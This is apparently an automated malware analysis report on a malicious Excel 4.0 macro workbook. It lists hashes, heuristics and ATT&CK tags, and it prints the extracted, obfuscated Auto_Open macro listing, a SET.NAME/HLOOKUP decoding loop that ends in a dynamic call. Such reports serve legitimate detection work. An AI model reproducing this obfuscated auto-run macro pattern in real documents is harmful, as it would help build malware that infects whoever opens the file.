Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f89fe795c7f9bfc8…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-27 11:45:11 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 34bf5262db23770afacb5758b236d214 SHA-1: faaa3f81428e8e1a14f55b00770b4a44ce51bfd1 SHA-256: f89fe795c7f9bfc8c43bd803f89c3bd96701b120f2b3bf4a23992d3fbfff8fc8
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open macro, which is a common technique for executing malicious code upon opening the document. The macro likely attempts to download and execute a secondary payload, although the specific URL or payload is not directly extractable from the provided evidence.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6789 bytes
SHA-256: 6ab8e14a0adca495a5222d942801540cd1d0ae37be4c79a5fc18a5ba4298ee3a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  QhgOsyHEz
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I130 
' 0018     27 LABEL : Cell Value, String Constant - BNxOhcZnBXco len=0 
' 0018     23 LABEL : Cell Value, String Constant - BVYVcPFN len=0 
' 0018     24 LABEL : Cell Value, String Constant - czyNsvknP len=0 
' 0018     26 LABEL : Cell Value, String Constant - HmscwVBisFj len=0 
' 0018     20 LABEL : Cell Value, String Constant - JvvtN len=0 
' 0018     22 LABEL : Cell Value, String Constant - JWsTADH len=0 
' 0018     26 LABEL : Cell Value, String Constant - MJfuHUeyuGI len=0 
' 0018     21 LABEL : Cell Value, String Constant - MVTwVB len=0 
' 0018     22 LABEL : Cell Value, String Constant - NnAZDaN len=0 
' 0018     20 LABEL : Cell Value, String Constant - NSMuq len=0 
' 0018     27 LABEL : Cell Value, String Constant - QIonJJppvopa len=0 
' 0018     27 LABEL : Cell Value, String Constant - qqdxaWtcLsff len=0 
' 0018     22 LABEL : Cell Value, String Constant - QzwctAa len=0 
' 0018     27 LABEL : Cell Value, String Constant - ttwsIGxYwJpp len=0 
' 0018     20 LABEL : Cell Value, String Constant - vQeDN len=0 
' 0018     22 LABEL : Cell Value, String Constant - vxSAFKz len=0 
' 0018     23 LABEL : Cell Value, String Constant - wYZlQuAf len=0 
' 0018     25 LABEL : Cell Value, String Constant - XcwmFhPZRW len=0 
' 0018     25 LABEL : Cell Value, String Constant - yBxoEwKank len=0 
' 0018     25 LABEL : Cell Value, String Constant - yUEbEahsMS len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  QhgOsyHEz,I48,"SET.NAME("vxSAFKz",0+VALUE("0"))",""
'  QhgOsyHEz,T50,"",153.00000000000000000000
'  QhgOsyHEz,T51,"",914.00000000000000000000
'  QhgOsyHEz,I52,"SET.NAME("qqdxaWtcLsff",vxSAFKz)",""
'  QhgOsyHEz,T52,"",1.00000000000000000000
'  QhgOsyHEz,T53,"",68.00000000000000000000
'  QhgOsyHEz,T54,"",75.00000000000000000000
'  QhgOsyHEz,I55,"SET.NAME("vQeDN",vxSAFKz)",""
'  QhgOsyHEz,T55,"",474.00000000000000000000
'  QhgOsyHEz,I57,"SET.NAME("JWsTADH",COUNTA(HmscwVBisFj))",""
'  QhgOsyHEz,I61,"SET.NAME("BVYVcPFN",COUNTA(NnAZDaN))",""
'  QhgOsyHEz,I63,[],""
'  QhgOsyHEz,I68,"SET.NAME("NSMuq","")",""
'  QhgOsyHEz,I71,"qqdxaWtcLsff",""
'  QhgOsyHEz,I73,"SET.NAME("JvvtN",HLOOKUP("*",HmscwVBisFj,qqdxaWtcLsff,FALSE))",""
'  QhgOsyHEz,I76,"czyNsvknP",""
'  QhgOsyHEz,I78,"SET.NAME("BNxOhcZnBXco",vxSAFKz)",""
'  QhgOsyHEz,I81,[],""
'  QhgOsyHEz,I84,"BNxOhcZnBXco",""
'  QhgOsyHEz,I86,"yBxoEwKank",""
'  QhgOsyHEz,I88,"XcwmFhPZRW",""
'  QhgOsyHEz,I93,"MJfuHUeyuGI",""
'  QhgOsyHEz,I97,"SET.NAME("yUEbEahsMS",VALUE(HLOOKUP("*",NnAZDaN,MJfuHUeyuGI,FALSE)))",""
'  QhgOsyHEz,I101,"wYZlQuAf",""
'  QhgOsyHEz,I104,"NSMuq",""
'  QhgOsyHEz,I109,"vQeDN",""
'  QhgOsyHEz,I113,NEXT(),""
'  QhgOsyHEz,I116,"QIonJJppvopa",""
'  QhgOsyHEz,I118,[],""
'  QhgOsyHEz,I121,"QzwctAa",""
'  QhgOsyHEz,I123,NEXT(),""
'  QhgOsyHEz,I126,RETURN(),""
'  QhgOsyHEz,I155,"SET.NAME("ttwsIGxYwJpp",I48)",""
'  QhgOsyHEz,I157,"HmscwVBisFj",""
'  QhgOsyHEz,I162,"SET.NAME("NnAZDaN",R69C12)",""
'  QhgOsyHEz,I164,"SET.NAME("QzwctAa",171)",""
'  QhgOsyHEz,I167,"SET.NAME("MVTwVB",9)",""
'  QhgOsyHEz,I170,ttwsIGxYwJpp(),""
'  QhgOsyHEz,I171,HALT(),""

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